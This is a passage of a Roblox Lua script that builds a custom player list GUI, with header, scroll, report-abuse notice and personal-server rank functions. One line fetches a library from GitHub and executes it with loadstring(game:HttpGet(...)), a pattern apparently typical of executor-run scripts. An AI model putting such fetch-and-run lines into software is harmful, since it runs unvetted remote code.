  2190.             Name = 'LeaderBoardFrame',
  2191.             Position = UDim2.new(1, -150, 0.005, 0),
  2192.             Size = UDim2.new(0, 150, 0, 800),
  2193.             BackgroundTransparency = 1,
  2194.             Parent = ScreenGui,
  2195.         }
  2196.    
  2197.         --frame used for expanding leaderstats when frame is 'focused'
  2198.         local FocusFrame = Obj.Create"Frame"
  2199.         {
  2200.             Name = 'FocusFrame',
  2201.             Position = UDim2.new(0, 0, 0, 0),
  2202.             Size = UDim2.new(1, 0, 0, 100),
  2203.             BackgroundTransparency = 1,
  2204.             Active = true,
  2205.             Parent = MainFrame,
  2206.         }
  2207.    
  2208.         local TemplateFrameYSize = 0.670000017
  2209.    
  2210.         -- HEADER
  2211.         local HeaderFrame = Obj.Create"Frame"
  2212.         {
  2213.             Name = 'Header',
  2214.             BackgroundTransparency = 1,
  2215.             Position = UDim2.new(0,0,0,0),
  2216.             Size = UDim2.new(1, 0, .07, 0),
  2217.             Parent = MainFrame,
  2218.             MakeBackgroundGuiObj('http://www.roblox.com/asset/?id=94692054'),
  2219.         }
  2220.         local HeaderFrameHeight = HeaderFrame.Size.Y.Scale
  2221.         local MaximizeButton = Obj.Create"ImageButton"
  2222.         {
  2223.             Name = 'MaximizeButton',
  2224.             Active = true,
  2225.             BackgroundTransparency = 1,
  2226.             Position = UDim2.new(0, 0, 0, 0),
  2227.             Size = UDim2.new(1,0,1,0),
  2228.             Parent = HeaderFrame,
  2229.         }
  2230.         local HeaderName = Obj.Create"TextLabel"
  2231.         {
  2232.             Name = 'PlayerName',
  2233.             BackgroundTransparency = 1,
  2234.             Position = UDim2.new(0, 0, .01, 0),
  2235.             Size = UDim2.new(.98,0,.38,0),
  2236.             Parent = HeaderFrame,
  2237.             Font = 'ArialBold',
  2238.             Text = GetAliasOf(LocalPlayer.Name),
  2239.             FontSize='Size24',
  2240.             --TextScaled = true,
  2241.             TextColor3 = Color3.new(1,1,1),
  2242.             TextStrokeColor3 = Color3.new(0,0,0),
  2243.             TextStrokeTransparency = 0,
  2244.             TextXAlignment = 'Right',
  2245.             TextYAlignment = 'Center',
  2246.         }
  2247.         local HeaderScore = Obj.Create"TextLabel"
  2248.         {
  2249.             Name = 'PlayerScore',
  2250.             BackgroundTransparency = 1,
  2251.             Position = UDim2.new(0, 0, .4, 0),
  2252.             Size = UDim2.new(.98,0,0,30),
  2253.             Parent = HeaderFrame,
  2254.             Font = 'ArialBold',
  2255.             Text = '',
  2256.             FontSize='Size24',
  2257.             TextYAlignment = 'Top',
  2258.             --TextScaled = true,
  2259.             TextColor3 = Color3.new(1,1,1),
  2260.             TextStrokeTransparency = 1,
  2261.             TextXAlignment = 'Right',
  2262.             TextYAlignment = 'Top',
  2263.         }
  2264.         local HeaderScoreName = Obj.Create"TextLabel"
  2265.         {
  2266.             Name = 'ScoreNameLabel',
  2267.             BackgroundTransparency = 1,
  2268.             Position = UDim2.new(0, 5, 0, 0),
  2269.             Size = UDim2.new(1, 0, 1, 0),
  2270.             Font = 'ArialBold',
  2271.             FontSize = 'Size14',
  2272.             Text = '',
  2273.             TextColor3 = Color3.new(1, 1, 1),
  2274.             TextStrokeTransparency = 0,
  2275.             TextXAlignment = 'Left',
  2276.             Parent = HeaderScore
  2277.         }
  2278.    
  2279.         coroutine.resume(coroutine.create(function() while wait(1) do
  2280.                 HeaderFrame.PlayerName.Text = GetAliasOf(LocalPlayer.Name)
  2281.             end end))
  2282.         -- BOTTOM
  2283.         --used for shifting bottom frame for mouse over effects
  2284.         local BottomShiftFrame = Obj.Create"Frame"
  2285.         {
  2286.             Name= 'BottomShiftFrame',
  2287.             BackgroundTransparency = 1,
  2288.             Position = UDim2.new(0,0,HeaderFrameHeight,0),
  2289.             Size = UDim2.new(1,0,1,0),
  2290.             Parent=MainFrame,
  2291.         }
  2292.         local BottomFrame = Obj.Create"Frame"
  2293.         {
  2294.             Name = 'Bottom',
  2295.             BackgroundTransparency = 1,
  2296.             Position = UDim2.new(0,0,.07,0),
  2297.             Size = UDim2.new(1, 0, .03, 0),
  2298.             Parent = BottomShiftFrame,
  2299.             MakeBackgroundGuiObj('http://www.roblox.com/asset/?id=94754966'),
  2300.         }
  2301.         local ExtendButton = Obj.Create"ImageButton"
  2302.         {
  2303.             Name = 'bigbutton',
  2304.             Active = true,
  2305.             BackgroundTransparency = 1,
  2306.             Position = UDim2.new(0, 0, 0, 0),
  2307.             Size = UDim2.new(1,0,1.5,0),
  2308.             ZIndex = 3,
  2309.             Parent = BottomFrame,
  2310.         }
  2311.         local ExtendTab = Obj.Create"ImageButton"
  2312.         {
  2313.             Name = 'extendTab',
  2314.             Active = true,
  2315.             BackgroundTransparency = 1,
  2316.             Image = 'http://www.roblox.com/asset/?id=94692731',
  2317.             Position = UDim2.new(.608, 0, .3, 0),
  2318.             Size = UDim2.new(.3,0,.7,0),
  2319.             Parent = BottomFrame,
  2320.         }
  2321.         local TopClipFrame = Obj.Create"Frame"
  2322.         {
  2323.             Name = 'ListFrame',
  2324.             BackgroundTransparency = 1,
  2325.             Position = UDim2.new(-1,0,.07,0),
  2326.             Size = UDim2.new(2, 0, 1, 0),
  2327.             Parent = MainFrame,
  2328.             ClipsDescendants = true,
  2329.         }
  2330.         local BottomClipFrame = Obj.Create"Frame"
  2331.         {
  2332.             Name = 'BottomFrame',
  2333.             BackgroundTransparency = 1,
  2334.             Position = UDim2.new(0,0, - .8,0),
  2335.             Size = UDim2.new(1, 0, 1, 0),
  2336.             Parent = TopClipFrame,
  2337.             ClipsDescendants = true,
  2338.         }
  2339.         local ScrollBarFrame = Obj.Create"Frame"
  2340.         {
  2341.             Name = 'ScrollBarFrame',
  2342.             BackgroundTransparency = 1,
  2343.             Position = UDim2.new(.987,0,.8,0),
  2344.             Size = UDim2.new(.01, 0, .2, 0),
  2345.             Parent = BottomClipFrame,
  2346.         }
  2347.         local ScrollBar = Obj.Create"Frame"
  2348.         {
  2349.             Name = 'ScrollBar',
  2350.             BackgroundTransparency = 0,
  2351.             BackgroundColor3 = Color3.new(.2,.2,.2),
  2352.             Position = UDim2.new(0,0,0,0),
  2353.             Size = UDim2.new(1, 0, .5, 0),
  2354.             ZIndex = 5,
  2355.             Parent = ScrollBarFrame,
  2356.    
  2357.         }
  2358.         local ListFrame = Obj.Create"Frame"
  2359.         {
  2360.             Name = 'SubFrame',
  2361.             BackgroundTransparency = 1,
  2362.             Position = UDim2.new(0,0,.8,0),
  2363.             Size = UDim2.new(1, 0, 1, 0),
  2364.             Parent = BottomClipFrame,
  2365.         }
  2366.         local PopUpClipFrame = Obj.Create"Frame"
  2367.         {
  2368.             Name = 'PopUpFrame',
  2369.             BackgroundTransparency = 1,
  2370.             SizeConstraint='RelativeXX',
  2371.             Position = MainFrame.Position + UDim2.new( 0,-150,0,0),
  2372.             Size = UDim2.new(0,150,0,800),
  2373.             Parent = MainFrame,
  2374.             ClipsDescendants = true,
  2375.             ZIndex=7,
  2376.         }
  2377.         local PopUpPanel = nil
  2378.         local PopUpPanelTemplate = Obj.Create"Frame"
  2379.         {
  2380.             Name = 'Panel',
  2381.             BackgroundTransparency = 1,
  2382.             Position = UDim2.new(1,0,0,0),
  2383.             Size = UDim2.new(1,0,.032,0),
  2384.             Parent = PopUpClipFrame,
  2385.         }
  2386.    
  2387.         local StatTitles = Obj.Create"Frame"
  2388.         {
  2389.             Name = 'StatTitles',
  2390.             BackgroundTransparency = 1,
  2391.             Position = UDim2.new(0,0,1,-10),
  2392.             Size = UDim2.new(1, 0, 0, 0),
  2393.             Parent = HeaderFrame,
  2394.         }
  2395.    
  2396.         local IsMinimized = Instance.new('BoolValue')
  2397.         local IsMaximized = Instance.new('BoolValue')
  2398.         local IsTabified = Instance.new('BoolValue')
  2399.         local AreNamesExpanded = Instance.new('BoolValue')
  2400.    
  2401.    
  2402.         local MiddleTemplate = Obj.Create"Frame"
  2403.         {
  2404.             Name = 'MidTemplate',
  2405.             BackgroundTransparency = 1,
  2406.             Position = UDim2.new(100,0,.07,0),
  2407.             Size = UDim2.new(.5, 0, .025, 0),--UDim2.new(1, 0, .03, 0),
  2408.             Obj.Create'ImageLabel'
  2409.             {
  2410.                 Name = 'BCLabel',
  2411.                 Active = true,
  2412.                 BackgroundTransparency = 1,
  2413.                 Position = UDim2.new(.005, 3, .20, -2),
  2414.                 Size = UDim2.new(0,16,0,16),
  2415.                 SizeConstraint = 'RelativeYY',
  2416.                 Image = "",
  2417.                 ZIndex = 3,
  2418.             },
  2419.             Obj.Create'ImageLabel'
  2420.             {
  2421.                 Name = 'FriendLabel',
  2422.                 Active = true,
  2423.                 BackgroundTransparency = 1,
  2424.                 Position = UDim2.new(.005, 5, .15, 0),
  2425.                 Size = UDim2.new(0,16,0,16),
  2426.                 SizeConstraint = 'RelativeYY',
  2427.                 Image = "",
  2428.                 ZIndex = 3,
  2429.             },
  2430.             Obj.Create"ImageButton"
  2431.             {
  2432.                 Name = 'ClickListener',
  2433.                 Active = true,
  2434.                 BackgroundTransparency = 1,
  2435.                 Position = UDim2.new(.005, 1, 0, 0),
  2436.                 Size = UDim2.new(.96,0,1,0),
  2437.                 ZIndex = 3,
  2438.             },
  2439.             Obj.Create"Frame"
  2440.             {
  2441.                 Name = 'TitleFrame',
  2442.                 BackgroundTransparency = 1,
  2443.                 Position = UDim2.new(.01, 0, 0, 0),
  2444.                 Size = UDim2.new(0,140,1,0),
  2445.                 ClipsDescendants=true,
  2446.                 Obj.Create"TextLabel"
  2447.                 {
  2448.                     Name = 'Title',
  2449.                     BackgroundTransparency = 1,
  2450.                     Position = UDim2.new(0, 5, 0, 0),
  2451.                     Size = UDim2.new(100,0,1,0),
  2452.                     Font = 'Arial',
  2453.                     FontSize='Size14',
  2454.                     TextColor3 = Color3.new(1,1,1),
  2455.                     TextXAlignment = 'Left',
  2456.                     TextYAlignment = 'Center',
  2457.                     ZIndex = 3,
  2458.                 },
  2459.             },
  2460.    
  2461.             Obj.Create"TextLabel"
  2462.             {
  2463.                 Name = 'PlayerScore',
  2464.                 BackgroundTransparency = 1,
  2465.                 Position = UDim2.new(0, 0, 0, 0),
  2466.                 Size = UDim2.new(1,0,1,0),
  2467.                 Font = 'ArialBold',
  2468.                 Text = '',
  2469.                 FontSize='Size14',
  2470.                 TextColor3 = Color3.new(1,1,1),
  2471.                 TextXAlignment = 'Right',
  2472.                 TextYAlignment = 'Center',
  2473.                 ZIndex = 3,
  2474.             },
  2475.             --Obj.Create'IntValue'{Name = 'ID'},
  2476.             --Obj.Create'ObjectValue'{Name = 'Player'},
  2477.             --Obj.Create'IntValue'{Name = 'Score'},
  2478.             ZIndex = 3,
  2479.         }
  2480.         local MiddleBGTemplate = Obj.Create"Frame"
  2481.         {
  2482.             Name = 'MidBGTemplate',
  2483.             BackgroundTransparency = 1,
  2484.             BorderSizePixel = 0,
  2485.             Position = UDim2.new(100,0,.07,0),
  2486.             Size = UDim2.new(.5, 0, .025, 0),--UDim2.new(1, 0, .03, 0),
  2487.             MakeBackgroundGuiObj('http://www.roblox.com/asset/?id=94692025'),
  2488.    
  2489.         }
  2490.    
  2491.         -- REPORT ABUSE OBJECTS
  2492.    
  2493.         local ReportAbuseShield = Obj.Create"TextButton"
  2494.         {
  2495.             Name = "ReportAbuseShield",
  2496.             Text = "",
  2497.             AutoButtonColor = false,
  2498.             Active = true,
  2499.             Visible = true,
  2500.             Size = UDim2.new(1,0,1,0),
  2501.             BackgroundColor3 = Color3I(51,51,51),
  2502.             BorderColor3 = Color3I(27,42,53),
  2503.             BackgroundTransparency = 1,
  2504.         }
  2505.    
  2506.         local ReportAbuseFrame = Obj.Create "Frame"
  2507.         {
  2508.             Name = "ReportAbuseFrame",
  2509.             Position = UDim2.new(0.5, -250, 0.5, -100),
  2510.             Size = UDim2.new(0, 500, 0, 200),
  2511.             ZIndex = 9,
  2512.             Parent = ReportAbuseShield,
  2513.             Style = "RobloxRound"
  2514.         }
  2515.    
  2516.         local ReportAbuseClose = Obj.Create "TextButton"
  2517.         {
  2518.             BackgroundColor3 = Color3.new(150/255, 0, 0),
  2519.             BorderColor3 = Color3.new(200/255, 200/255, 200/255),
  2520.             Name = "Close",
  2521.             Position = UDim2.new(1, -20, 0, 0),
  2522.             Size = UDim2.new(0, 20, 0, 20),
  2523.             ZIndex = 10,
  2524.             Font = "SourceSansBold",
  2525.             FontSize = "Size12",
  2526.             Text = "X",
  2527.             TextColor3 = Color3.new(200/255, 200/255, 200/255),
  2528.             TextStrokeTransparency = 0,
  2529.             Parent = ReportAbuseFrame
  2530.         }
  2531.    
  2532.         local ReportAbuseHeader = Obj.Create "TextLabel"
  2533.         {
  2534.             BackgroundTransparency = 1,
  2535.             Name = "Sorry",
  2536.             Position = UDim2.new(0.5, 0, 0, 20),
  2537.             ZIndex = 10,
  2538.             Font = "ArialBold",
  2539.             FontSize = "Size36",
  2540.             Text = "Sorry! :(",
  2541.             TextColor3 = Color3.new(200/255, 200/255, 200/255),
  2542.             TextStrokeTransparency = 0,
  2543.             Parent = ReportAbuseFrame
  2544.         }
  2545.    
  2546.         local ReportAbuseInfo = Obj.Create "TextLabel"
  2547.         {
  2548.             BackgroundColor3 = Color3.new(),
  2549.             BackgroundTransparency = 0.5,
  2550.             BorderColor3 = Color3.new(200/255, 200/255, 200/255),
  2551.             Name = "ReportAbuseInfo",
  2552.             Position = UDim2.new(0, 0, 0, 50),
  2553.             Size = UDim2.new(1, 0, 1, -50),
  2554.             Font = "ArialBold",
  2555.             FontSize = "Size14",
  2556.             Text = "This game is using a specialized player list that uses an API to unlock certain features.  Because this is a modified player list, certain high-level functions are disabled such as in-game Friend Requests and the Report Abuse function.",
  2557.             TextColor3 = Color3.new(200/255, 200/255, 200/255),
  2558.             TextStrokeTransparency = 0,
  2559.             TextYAlignment = "Top",
  2560.             ZIndex = 10,
  2561.             TextWrapped = true,
  2562.             Parent = ReportAbuseFrame,
  2563.             Obj.Create"TextLabel"
  2564.             {
  2565.                 BackgroundTransparency = 1,
  2566.                 Name = "FRs",
  2567.                 Position = UDim2.new(0, 20, 0, 50),
  2568.                 Size = UDim2.new(1, -40, 1, -50),
  2569.                 ZIndex = 10,
  2570.                 Font = "Arial",
  2571.                 FontSize = "Size12",
  2572.                 Text = "To add a friend, you will need to go to the roblox site and find them using the player search page.  Once you've found them, click the \"Add Friend\" button under their character.",
  2573.                 TextColor3 = Color3.new(200/255, 200/255, 200/255),
  2574.                 TextStrokeTransparency = 0,
  2575.                 TextWrapped = true,
  2576.                 TextYAlignment = "Top"
  2577.             },
  2578.             Obj.Create"TextLabel"
  2579.             {
  2580.                 BackgroundTransparency = 1,
  2581.                 Name = "Report",
  2582.                 Position = UDim2.new(0, 20, 0, 90),
  2583.                 Size = UDim2.new(1, -40, 1, -50),
  2584.                 ZIndex = 10,
  2585.                 Font = "Arial",
  2586.                 FontSize = "Size12",
  2587.                 Text = "To report abuse, you need to open your game menu by pressing the 'Esc' button on your keyboard, then click Report Abuse and fill out the necessary information.",
  2588.                 TextColor3 = Color3.new(200/255, 200/255, 200/255),
  2589.                 TextStrokeTransparency = 0,
  2590.                 TextWrapped = true,
  2591.                 TextYAlignment = "Top"
  2592.             }
  2593.         }
  2594.    
  2595.         local BigButton=Instance.new('ImageButton')
  2596.         BigButton.Size=UDim2.new(1,0,1,0)
  2597.         BigButton.BackgroundTransparency=1
  2598.         BigButton.ZIndex=8
  2599.         BigButton.Visible=false
  2600.         --BigButton.Active=false
  2601.         BigButton.Parent=ScreenGui
  2602.    
  2603.    
  2604.         local debugFrame = Obj.Create"Frame"
  2605.         {
  2606.             Name = 'debugframe',
  2607.             Position = UDim2.new(0, 0, 0, 0),
  2608.             Size = UDim2.new(0, 150, 0, 800),--0.99000001
  2609.             BackgroundTransparency = 1,
  2610.    
  2611.         }
  2612.         local debugplayers = Obj.Create"TextLabel"
  2613.         {
  2614.             BackgroundTransparency = .8,
  2615.             Position = UDim2.new(0, 0, .01, 0),
  2616.             Size = UDim2.new(1,0,.5,0),
  2617.             Parent = debugFrame,
  2618.             Font = 'ArialBold',
  2619.             Text = '--',
  2620.             FontSize='Size14',
  2621.             TextWrapped=true,
  2622.             TextColor3 = Color3.new(1,1,1),
  2623.             TextStrokeColor3 = Color3.new(0,0,0),
  2624.             TextStrokeTransparency = 0,
  2625.             TextXAlignment = 'Right',
  2626.             TextYAlignment = 'Center',
  2627.         }
  2628.         local debugOutput = Obj.Create"TextLabel"
  2629.         {
  2630.             BackgroundTransparency = .8,
  2631.             Position = UDim2.new(0, 0, .5, 0),
  2632.             Size = UDim2.new(1,0,.5,0),
  2633.             Parent = debugFrame,
  2634.             Font = 'ArialBold',
  2635.             Text = '--',
  2636.             FontSize='Size14',
  2637.             TextWrapped=true,
  2638.             TextColor3 = Color3.new(1,1,1),
  2639.             TextStrokeColor3 = Color3.new(0,0,0),
  2640.             TextStrokeTransparency = 0,
  2641.             TextXAlignment = 'Right',
  2642.             TextYAlignment = 'Center',
  2643.         }  
  2644.    
  2645.    
  2646.     --[[
  2647.         simple function to toggle the display of debug output
  2648.     --]]
  2649.         local DebugPrintEnabled=true
  2650.         function debugprint(str)
  2651.             --print(str)
  2652.             if DebugPrintEnabled then
  2653.                 debugOutput.Text=str
  2654.             end
  2655.         end
  2656.    
  2657.    
  2658.         -------------------------  
  2659.         -- Script objects
  2660.         -------------------------
  2661.         local RbxGui = loadstring(game:HttpGet("https://raw.githubusercontent.com/Roblox/Core-Scripts/master/CoreScriptsRoot/Libraries/RbxGui.lua", true))()
  2662.    
  2663.         -- number of entries to show if you click minimize
  2664.         local DefaultEntriesOnScreen = 8
  2665.    
  2666.    
  2667.    
  2668.    
  2669.    
  2670.         for _,i in pairs(Images) do
  2671.             Game:GetService("ContentProvider"):Preload("http://www.roblox.com/asset/?id="..i)
  2672.         end
  2673.    
  2674.         -- ordered array of 'score data', each entry has:
  2675.         -- Name(String)
  2676.         -- Priority(number)
  2677.         -- IsPrimary (bool, should it be shown in upper right)
  2678.         -- MaxLength (integer, of the length of the longest element for this column)
  2679.         local ScoreNames = {}
  2680.         -- prevents flipping in playerlist panels
  2681.         local AddId = 0
  2682.         -- intermediate table form of all player entries in format of:
  2683.         -- Frame
  2684.         -- Player
  2685.         -- Score
  2686.         -- ID
  2687.         -- MyTeam (team ENRTY(not actual team) I am currently on)
  2688.         local PlayerFrames = {}
  2689.         -- intermediate ordered frame array, composed of Entrys of
  2690.         -- Frame
  2691.         -- MyTeam (my team object)
  2692.         -- MyPlayers ( an ordered array of all player frames in team )
  2693.         -- AutoHide (bool saying whether it should be hidden)
  2694.         -- IsHidden (bool)
  2695.         -- ID (int to prevent flipping out of leaderboard, fun times)
  2696.         local TeamFrames = {}
  2697.         -- one special entry from teamFrames, for unaffiliated players, only shown if players non - empty
  2698.         local NeutralTeam = nil
  2699.    
  2700.         -- final 'to be displayed' list of frames
  2701.         local MiddleFrames = {}
  2702.         local MiddleFrameBackgrounds = {}
  2703.         local MiddleFrameHeight = .03
  2704.         -- time of last click
  2705.         local LastClick = 0
  2706.         local ButtonCooldown = .25
  2707.    
  2708.         local OnIos = false
  2709.         pcall(function() OnIos = Game:GetService('UserInputService').TouchEnabled end)
  2710.    
  2711.    
  2712.         -- you get 200 of x screen space per stat added, start width 16%
  2713.         local BaseScreenXSize = 150
  2714.         local SpacingPerStat = 10 --spacing between stats
  2715.    
  2716.    
  2717.         local MaximizedBounds = UDim2.new(.5,0,1,0)
  2718.         local MaximizedPosition = UDim2.new(.25,0,.1,0)
  2719.         local NormalBounds = UDim2.new(0,BaseScreenXSize, 0, 800)
  2720.         local NormalPosition = UDim2.new(1 , - BaseScreenXSize, 0.005, 0)
  2721.    
  2722.         local MinimizedBounds = UDim2.new(0, BaseScreenXSize, 0.99000001, 0)
  2723.    
  2724.         --free space to give last stat on the right
  2725.         local RightEdgeSpace = -.04
  2726.    
  2727.         -- where the scroll par currently is positioned
  2728.         local ScrollPosition = 0.75999999
  2729.         local IsDragging = false -- am I dragging the player list
  2730.    
  2731.         local DefaultBottomClipPos = BottomClipFrame.Position.Y.Scale
  2732.    
  2733.         local LastSelectedPlayerEntry = nil
  2734.         local SelectedPlayerEntry = nil
  2735.         local SelectedPlayer = nil
  2736.    
  2737.         -- locks(semaphores) for stopping race conditions
  2738.         local AddingFrameLock = false
  2739.         local ChangingOrderLock = false
  2740.         local AddingStatLock = false
  2741.         local BaseUpdateLock = false
  2742.         local WaitForClickLock = false
  2743.         local InPopupWaitForClick=false
  2744.         local PlayerChangedLock = false
  2745.         local NeutralTeamLock = false
  2746.    
  2747.         local ScrollWheelConnections = {}
  2748.    
  2749.    
  2750.         local DefaultListSize = 8
  2751.         if not OnIos then DefaultListSize = 12 end
  2752.         local DidMinimizeDrag = false
  2753.    
  2754.         --local PlaceCreatorId=game.CreatorId
  2755.    
  2756.         -- report abuse objects
  2757.         local AbuseName
  2758.         local Abuses = {
  2759.             "Bad Words or Threats",
  2760.             "Bad Username",
  2761.             "Talking about Dating",
  2762.             "Account Trading or Sharing",
  2763.             "Asking Personal Questions",
  2764.             "Rude or Mean Behavior",
  2765.             "False Reporting Me"
  2766.         }
  2767.         local UpdateAbuseFunction
  2768.         local AbuseDropDown, UpdateAbuseSelection
  2769.    
  2770.         local PrivilegeLevel =
  2771.             {
  2772.                 Owner = 255,
  2773.                 Admin = 240,
  2774.                 Member = 128,
  2775.                 Visitor = 10,
  2776.                 Banned = 0,
  2777.             }
  2778.    
  2779.    
  2780.         local IsPersonalServer = not not game.Workspace:FindFirstChild("PSVariable")
  2781.    
  2782.         game.Workspace.ChildAdded:connect(function(nchild)
  2783.             if nchild.Name=='PSVariable' and nchild:IsA('BoolValue') then
  2784.                 IsPersonalServer=true
  2785.             end
  2786.         end)
  2787.         -------------------------------  
  2788.         -- Static Functions
  2789.         -------------------------------
  2790.         function GetTotalEntries()
  2791.             return math.min(#MiddleFrameBackgrounds,DefaultEntriesOnScreen)
  2792.         end
  2793.    
  2794.         function GetEntryListLength()
  2795.             local numEnts=#PlayerFrames+#TeamFrames
  2796.             if NeutralTeam then
  2797.                 numEnts=numEnts+1
  2798.             end
  2799.             return numEnts
  2800.         end
  2801.    
  2802.         function AreAllEntriesOnScreen()
  2803.             return #MiddleFrameBackgrounds * MiddleTemplate.Size.Y.Scale <= 1 + DefaultBottomClipPos
  2804.         end
  2805.    
  2806.         function GetLengthOfVisbleScroll()
  2807.             return 1 + DefaultBottomClipPos
  2808.         end
  2809.    
  2810.         function GetMaxScroll()
  2811.             return DefaultBottomClipPos *  - 1
  2812.         end
  2813.         -- can be optimized by caching when this varible changes
  2814.         function GetMinScroll()
  2815.             if AreAllEntriesOnScreen() then
  2816.                 return GetMaxScroll()
  2817.             else
  2818.                 return (GetMaxScroll() - (#MiddleFrameBackgrounds * MiddleTemplate.Size.Y.Scale)) + (1 + DefaultBottomClipPos)
  2819.             end
  2820.         end
  2821.    
  2822.         function AbsoluteToPercent(x,y)
  2823.             return Vector2.new(x,y)/ScreenGui.AbsoluteSize
  2824.         end
  2825.     --[[
  2826.         tweens property of element from starta to enda over length of time
  2827.         Warning: should be put in a Spawn call
  2828.         @Args:
  2829.         element     textobject to tween transparency on
  2830.         propName
  2831.         starta      alpha to start tweening
  2832.         enda        alpha to end tweening on
  2833.         length      how many seconds to spend tweening
  2834.     --]]
  2835.         function TweenProperty(obj, propName, inita, enda, length)
  2836.             local startTime = tick()
  2837.             while tick()-startTime<length do
  2838.                 obj[propName] = ((enda-inita)*((tick()-startTime)/length))+inita
  2839.                 wait(1/30)
  2840.             end
  2841.             obj[propName] = enda   
  2842.         end
  2843.     --[[
  2844.         UGLY UGLY HACK FUNCTION
  2845.         replace with some sort of global input catching A.S.A. FREAKING P.
  2846.         creates a fullsize gui element to catch next mouse up event(completeing a click)
  2847.         @Args:
  2848.         frameParent     Object to parent fullscreen gui to
  2849.         polledFunction  function to call on mouse moved events in this gui
  2850.         exitFunction    function to call when click event is fired
  2851.     --]]
  2852.    
  2853.         function WaitForClick(frameParent,polledFunction,exitFunction)
  2854.    
  2855.             if WaitForClickLock then return end
  2856.             WaitForClickLock=true
  2857.             local upHappened=false
  2858.             local connection, connection2
  2859.             connection=BigButton.MouseButton1Up:connect(function(nx,ny)
  2860.                 exitFunction(nx,ny)
  2861.                 BigButton.Visible=false
  2862.                 connection:disconnect()
  2863.                 if connection2 then
  2864.                     connection2:disconnect()
  2865.                 end
  2866.                 --debugprint('mouse up!')
  2867.             end)
  2868.             connection2=BigButton.MouseMoved:connect( function(nx,ny)
  2869.                 polledFunction(nx,ny)
  2870.    
  2871.             end)
  2872.    
  2873.             --debugprint('waiting for click!')
  2874.             BigButton.Visible=true
  2875.             BigButton.Active=true
  2876.             BigButton.Parent=frameParent
  2877.             frameParent.AncestryChanged:connect(function(child,nparent)
  2878.                 if child == frameParent and nparent ==nil then
  2879.                     exitFunction(nx,ny)
  2880.                     BigButton.Visible=false
  2881.                     connection:disconnect()
  2882.                     connection2:disconnect()
  2883.                     debugprint("forced out of wait for click")
  2884.                 end
  2885.             end)
  2886.             WaitForClickLock=false
  2887.         end
  2888.    
  2889.    
  2890.    
  2891.         ---------------------------
  2892.         --Personal Server Handling
  2893.         ---------------------------
  2894.     --[[
  2895.         returns privlage level based on integer rank
  2896.         Note: these privilege levels seem completely arbitrary, but no documentation exists
  2897.         this is all from the old player list, really weird
  2898.         @Args:
  2899.         rank    Integer rank value for player
  2900.         @Return     Normalized integer value for rank?
  2901.     --]]
  2902.         function GetPrivilegeType(rank)
  2903.             if rank <= PrivilegeLevel['Banned'] then
  2904.                 return PrivilegeLevel['Banned']
  2905.             elseif rank <= PrivilegeLevel['Visitor'] then
  2906.                 return PrivilegeLevel['Visitor']
  2907.             elseif rank <= PrivilegeLevel['Member'] then
  2908.                 return PrivilegeLevel['Member']
  2909.             elseif rank <= PrivilegeLevel['Admin'] then
  2910.                 return PrivilegeLevel['Admin']
  2911.             else
  2912.                 return PrivilegeLevel['Owner']
  2913.             end
  2914.         end
  2915.    
  2916.     --[[
  2917.         gives a player a new privilage rank
  2918.         Note: Very odd that I have to use loops with this instead of directly setting the rank
  2919.         but no documentation for personal server service exists
  2920.         @Args:
  2921.         player      player to change rank of
  2922.         nrank       new integer rank to give player
  2923.     --]]
  2924.         function SetPrivilegeRank(player,nrank)
  2925.             while player.PersonalServerRank<nrank do
  2926.                 game:GetService("PersonalServerService"):Promote(player)
  2927.             end
  2928.             while player.PersonalServerRank>nrank do
  2929.                 game:GetService("PersonalServerService"):Demote(player)
  2930.             end
  2931.         end
  2932.     --[[
  2933.         called when player selects new privilege level from popup menu
  2934.         @Args:
  2935.         player      player to set privileges on
  2936.         nlevel      new privilege level for this player
  2937.     --]]
  2938.         function OnPrivilegeLevelSelect(player,nlevel,BanPlayerButton,VisitorButton,MemberButton,AdminButton)
  2939.             debugprint('setting privilege level')
  2940.             SetPrivilegeRank(player,nlevel)
  2941.             HighlightMyRank(player,BanPlayerButton,VisitorButton,MemberButton,AdminButton)
  2942.         end
  2943.    
  2944.     --[[
  2945.         Highlights current rank of this player in the popup menu
  2946.         @Args:
  2947.         player      Player to check for rank on
  2948.     --]]
  2949.         function HighlightMyRank(player,BanPlayerButton,VisitorButton,MemberButton,AdminButton)
  2950.             BanPlayerButton.Image= 'http://www.roblox.com/asset/?id='..Images['LightPopupMid']
  2951.             VisitorButton.Image= 'http://www.roblox.com/asset/?id='..Images['DarkPopupMid']
  2952.             MemberButton.Image= 'http://www.roblox.com/asset/?id='..Images['LightPopupMid']
  2953.             AdminButton.Image= 'http://www.roblox.com/asset/?id='..Images['DarkPopupBottom']
  2954.    
  2955.             local rank=player.PersonalServerRank
  2956.             if rank <= PrivilegeLevel['Banned'] then
  2957.                 BanPlayerButton.Image='http://www.roblox.com/asset/?id='..Images['LightBluePopupMid']
  2958.             elseif rank <= PrivilegeLevel['Visitor'] then
  2959.                 VisitorButton.Image='http://www.roblox.com/asset/?id='..Images['DarkBluePopupMid']
  2960.             elseif rank <= PrivilegeLevel['Member'] then
  2961.                 MemberButton.Image='http://www.roblox.com/asset/?id='..Images['LightBluePopupMid']
  2962.             elseif rank <= PrivilegeLevel['Admin'] then
  2963.                 AdminButton.Image= 'http://www.roblox.com/asset/?id='..Images['DarkBluePopupBottom']
  2964.             end
  2965.         end
  2966.    
  2967.         --------------------------  
  2968.         -- Report abuse handling
  2969.         --------------------------
  2970.     --[[
  2971.         does final reporting of abuse on selected player, calls closeAbuseDialog
  2972.     --]]
  2973.         function OnSubmitAbuse()
  2974.         end
  2975.    
  2976.     --[[
  2977.         opens the abuse dialog, initialises text to display selectedplayer
  2978.     --]]
  2979.         function OpenAbuseDialog()
  2980.             debugprint('adding report dialog')
  2981.             PopUpPanel:TweenPosition(UDim2.new(1,0,0,0), "Out", "Linear", BASE_TWEEN,true)
  2982.             ReportAbuseShield.Parent = ScreenGui
  2983.             ClosePopUpPanel()
  2984.         end
  2985.     --[[
  2986.         resets and closes abuse dialog
  2987.     --]]
  2988.         function CloseAbuseDialog()
  2989.             ReportAbuseShield.Parent = nil
  2990.         end
  2991.    
  2992.         ReportAbuseClose.MouseButton1Click:connect(CloseAbuseDialog)
  2993.         ReportAbuseShield.MouseButton1Click:connect(CloseAbuseDialog)
  2994.    
  2995.     --[[
  2996.         creates dropdownbox, registers all listeners for abuse dialog
  2997.     --]]
  2998.         function InitReportAbuse()
  2999.         end
  3000.    
  3001.         -------------------------------------
  3002.         -- Friend/unfriending
  3003.         -------------------------------------
  3004.     --[[
  3005.         gets enum val of friend status, uses pcall for some reason?(from old playerlist)
  3006.         @Args:
  3007.         player  player object to check if friends with
  3008.         @Return: enum of friend status
  3009.     --]]
